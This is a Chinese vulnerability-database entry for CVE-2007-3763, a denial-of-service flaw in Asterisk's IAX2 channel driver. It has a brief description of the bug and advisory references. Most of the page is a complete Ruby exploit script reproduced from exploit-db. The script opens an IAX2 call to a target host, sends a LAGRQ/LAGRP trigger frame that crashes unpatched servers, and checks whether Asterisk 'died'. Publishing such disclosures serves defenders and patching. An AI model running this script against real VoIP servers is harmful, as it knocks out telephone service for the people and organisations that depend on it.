Asterisk IAX2 隧道驱动拒绝服务攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113409 漏洞类型 其他
发布时间 2007-07-31 更新时间 2007-07-31
CVE编号 CVE-2007-3763 CNNVD-ID CNNVD-200707-335
漏洞平台 Multiple CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/4249
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200707-335
|漏洞详情
Asterisk是开放源码的软件PBX,支持各种VoIP协议和设备。AsteriskIAX2的隧道驱动(chan_iax2)中存在拒绝服务漏洞。如果Asterisk在有效会话中接收到了LAGRQ或LAGRP帧,就可能触发空指针异常。负责解析入站帧的代码可以正确地解析IAX帧中的信息单元,然后将指针设置为空表示没有与这个帧相关的原始数据负载,但没有将原始负载中用于表示字节数的变量设置为0。由于原始数据长度为非0,处理LAGRQ和LAGRP帧的代码就会试图从空指针拷贝数据,导致崩溃。
|漏洞EXP
#!/usr/bin/env ruby
# author = tenkei_ev
# Script to test chan_iax for the vuln in ASA-2007-015
# Trigger subtypes of 11 or 12 will crash an unpatched server
#
# First establish a call - send new, recv accept, send ack, recv answer, send ack
# Then send IAX2 control packets with subtypes 0x0b or 0x0c that contain an information element
# If asterisk sends an ACK to the trigger, it didn't crash
# If no ACK is read off the socket during the timeout, consider asterisk to be crashed
#
# If any of the expected responses aren't received, asterisk may not crash when sending the trigger
#
# Updated: fix bug in crash detection with patched servers

require 'socket'
require 'timeout'

hostname = nil
trigger_subtype = nil

if(ARGV.length < 2 ) 
    $stderr.puts "#{$0} <hostname> <Trigger subtype>\r\n"
    exit -1
else
    hostname = ARGV[0]
    if(ARGV[1][0,2] == '0x' || ARGV[1][0,2] == '0X')
        trigger_subtype = ARGV[1].hex
    else
        trigger_subtype  = ARGV[1].to_i 
    end
end

t = UDPSocket.new
t.connect(hostname,4569)

puts "[*] Sending NEW #{hostname}"
iax2_new = 
        [
            # HEADER
            1 << 15 | 1,    # full-frame bit and source call number
            0,              # retransmit bit and destination call number
            0,              # timestamp
            0,              # outbound stream sequence number
            0,              # inbound stream sequence number - need to reset to 0
            0x06,           # Frame type - IAX2 Control frame
            1,              # IAX2 NEW, C bit unset

            # VERSION IE
            0x0b,
            0x02,
            0x02,
            
            # FORMAT IE
            # trying to match asterisk - ymmv if your asterisk server rejects you, 
            # change this to match some codecs asterisk expects
            0x09,
            0x04,
            0xe703,
        ].pack("nnNCCCC CCn CCN")

t.write(iax2_new)

iax2_accept,sender  = t.recvfrom(1024)
resp        = iax2_accept.unpack("nnNCCCCCCN")
srccall     = resp[0] & 0x7fff
dstcall     = resp[1] & 0x7fff
timestamp   = resp[2]
oseq        = resp[3]
iseq        = resp[4]
frametype   = resp[5]
subtype     = resp[6]

if(frametype == 6 && subtype == 7)
    puts "[*] ACCEPT received from #{hostname}"
else
    puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`"
end

puts "[*] Sending ACK"
iax2_ack = 
            [
                1 << 15 | dstcall & 0x7fff,
                0 << 15 | srccall & 0x7fff,
                timestamp.to_i + 1000,
                iseq,
                oseq,
                0x06,                   # IAX2 Control frame
                0 << 7 | 0x04 & 0x7f,   # IAX2 ACK
            ].pack("nnNCCCC")

t.write(iax2_ack)

iax2_answer,sender = t.recvfrom(1024)
resp = iax2_answer.unpack("nnNCCCCCCN")
srccall = resp[0] & 0x7fff
dstcall = resp[1] & 0x7fff
timestamp   = resp[2]
oseq        = resp[3]
iseq        = resp[4]
frametype   = resp[5]
subtype     = resp[6]

if(frametype == 4 && subtype == 4)
    puts "[*] ANSWER received from #{hostname}"
else
    puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`"
end

puts "[*] Sending ACK"
iax2_ack = 
            [
                1 << 15 | dstcall & 0x7fff,
                0 << 15 | srccall & 0x7fff,
                timestamp.to_i + 1000,
                iseq,
                oseq,
                0x06,                   # IAX2 Control frame
                0 << 7 | 0x04 & 0x7f,   # IAX2 ACK, C bit unset
            ].pack("nnNCCCC")
            
t.write(iax2_ack)

puts "[*] Sending trigger"
trigger =
        [
            1 << 15 | dstcall & 0x7fff,
            0 << 15 | srccall & 0x7fff,
            timestamp.to_i + 1000,
            iseq,
            oseq,
            0x06,
            trigger_subtype,

            # IE
            0x0b,
            0x02,
            0x02,
            
        ].pack("nnNCCCC CCn ")

t.write(trigger)

begin
    
    timeout_seconds = 2
    
    Timeout::timeout(timeout_seconds) do |tlength|
        while(trigger_ack = t.recvfrom(1024))
            resp = trigger_ack[0].unpack("nnNCCCCCCN")
            srccall = resp[0] & 0x7fff
            dstcall = resp[1] & 0x7fff
            timestamp   = resp[2]
            oseq        = resp[3]
            iseq        = resp[4]
            frametype   = resp[5]
            subtype     = resp[6]
            if((frametype == 6 && subtype == 4) || (frametype == 6 && subtype == 12))
                puts "[!] Asterisk survived"
                exit
            end
        end
    end

rescue Timeout::Error => e
    puts "[!!!] Asterisk died"
rescue ::Exception => e
end

t.close

# milw0rm.com [2007-07-31]
|参考资料

来源:VUPEN
名称:ADV-2007-2563
链接:http://www.frsirt.com/english/advisories/2007/2563
来源:ftp.digium.com
链接:http://ftp.digium.com/pub/asa/ASA-2007-015.pdf
来源:SECTRACK
名称:1018407
链接:http://www.securitytracker.com/id?1018407
来源:BID
名称:24950
链接:http://www.securityfocus.com/bid/24950
来源:SUSE
名称:SUSE-SR:2007:015
链接:http://www.novell.com/linux/security/advisories/2007_15_sr.html
来源:DEBIAN
名称:DSA-1358
链接:http://www.debian.org/security/2007/dsa-1358
来源:GENTOO
名称:GLSA-200802-11
链接:http://security.gentoo.org/glsa/glsa-200802-11.xml
来源:SECUNIA
名称:29051
链接:http://secunia.com/advisories/29051
来源:SECUNIA
名称:26099
链接:http://secunia.com/advisories/26099
来源:bugs.gentoo.org
链接:http://bugs.gentoo.org/show_bug.cgi?id=185713